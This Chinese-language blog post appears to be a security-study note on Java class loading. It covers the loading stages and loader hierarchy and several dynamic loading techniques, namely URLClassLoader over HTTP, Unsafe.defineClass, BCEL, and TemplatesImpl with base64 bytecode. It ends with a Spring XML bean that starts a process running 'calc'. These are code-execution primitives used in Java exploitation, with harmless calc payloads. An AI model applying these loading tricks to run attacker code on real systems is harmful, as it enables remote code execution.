Java类加载

mrcdream / 2023-07-24 / 原文

Java类加载

类加载过程

加载:JVM将class文件加载到内存中,并生成class对象

连接(验证、准备、解析):JVM校验class对象的规范性等

初始化:JVM执行class对象中的静态代码块的语句和对静态变量的赋值操作

使用:创建实例化对象、调用方法等

卸载:

类加载机制

类加载源码

protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }

原理

首先判断类是否已经加载,如果已经加载就直接返回类。

如果类没有被加载就调用类加载器(AppClassLoader、BootstrapClassLoader)加载类。

如果调用类加载器仍然没有成功加载类,则使用findClass方法加载类。

类加载器

BootstrapClassLoader:默认加载%JAVA_HOME%中lib下的jar包和class类文件

ExtClassLoader:加载%JAVA_HOME%中lib/ext文件下的jar包和class类文件

AppClassLoader:负责加载classPath下的类文件,平时引用的jar包以及我们自己写的类

核心方法

loadClass

java.lang.ClassLoader#loadClass(java.lang.String)

默认不开启类解析

public Class<?> loadClass(String name) throws ClassNotFoundException {
	return loadClass(name, false);
}

java.lang.ClassLoader#loadClass(java.lang.String, boolean)

可设置是否开启解析

findClass

findClass方法默认抛出异常,需要在使用过程中重写(一般重写实现从文件路径或URL获取到class文件),然后调用defineClass加载类

protected Class<?> findClass(String name) throws ClassNotFoundException {
    throw new ClassNotFoundException(name);
}

defineClass

将字节数组转换为类 Class 的实例

类加载的方式

java原生类加载

Class#forName

java.lang.Class#forName(java.lang.String)

java.lang.Class#forName(java.lang.String, boolean, java.lang.ClassLoader)

ClassLoader#loadClass

java.lang.ClassLoader#loadClass(java.lang.String)

ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<?> clz = classLoader.loadClass("Calc");
clz.newInstance();

ClassLoader#findClass

ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method findClass = ClassLoader.class.getDeclaredMethod("findClass", String.class);
findClass.setAccessible(true);
Class calc = (Class) findClass.invoke(classLoader, "Calc");
calc.newInstance();

ClassLoader#defineClass

ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("src/main/resources/Evil_bytecodes/Calc.class"));
Class calc = (Class) defineClassMethod.invoke(classLoader, "Calc", bytes, 0, bytes.length);
calc.newInstance();

其他方式加载

URLClassLoader#loadClass

URL支持的协议有file、http、jar

格式:

file:///path

http://ip/

jar:http://ip/!/

jar:file:///path!/

String url1 = "http://localhost:9999/";
String url2 = "file:///"+System.getProperty("user.dir")+"\\src\\main\\resources\\Evil_bytecodes\\";
String url3 = "jar:http://localhost:9999/!/";
String url4 = "jar:file:///"+System.getProperty("user.dir")+"\\src\\main\\resources\\Evil_bytecodes\\!/";
URL[] urls = {new URL(url1)};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> loadClass = urlClassLoader.loadClass("Calc");
loadClass.newInstance();

Unsafe#defineClass

Class clz = Unsafe.class;
Field theUnsafe = clz.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("src/main/resources/Evil_bytecodes/Calc.class"));
Class<?> calc = unsafe.defineClass("Calc", bytes, 0,bytes.length, classLoader,null);
calc.newInstance();

BCEL

JavaClass cls = Repository.lookupClass(ClassLoad.EvilClass.Calc.class);
String code = Utility.encode(cls.getBytes(), true);
String bcel_code = "$$BCEL$$" + code;
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(bcel_code).newInstance();
System.out.println(code);
System.out.println(bcel_code);

TemplatesImpl

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void testTemplatesImpl() throws Exception {
        byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        obj.newTransformer();
    }

类加载过程中代码执行情况

类加载过程中代码执行情况

加载阶段:不会执行代码。

连接阶段:不会执行代码。

初始化阶段:

类的初始化:静态代码块。

使用阶段

实例化对象:静态代码块,构造代码块,构造函数。

调用静态方法:静态代码块,静态方法。

类加载

Class.forName(String name)ClassLoader.loadClass(String name) 默认开启初始化功能,在加载类时会自动执行类中的静态代码块

实例化

创建类的实例化对象过程中会执行构造代码块、无参构造函数|有参构造函数

import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.context.support.FileSystemXmlApplicationContext;

public class test {
    public static void main(String[] args) throws Exception {

        String url = "http://localhost:8000/EvilBean.xml";
//        new ClassPathXmlApplicationContext(url);
        new FileSystemXmlApplicationContext(url);
    }
}

EvilBean.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans
	xmlns="http://www.springframework.org/schema/beans"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
		<constructor-arg >
			<list>
				<value>calc</value>
			</list>
		</constructor-arg>
	</bean>
</beans>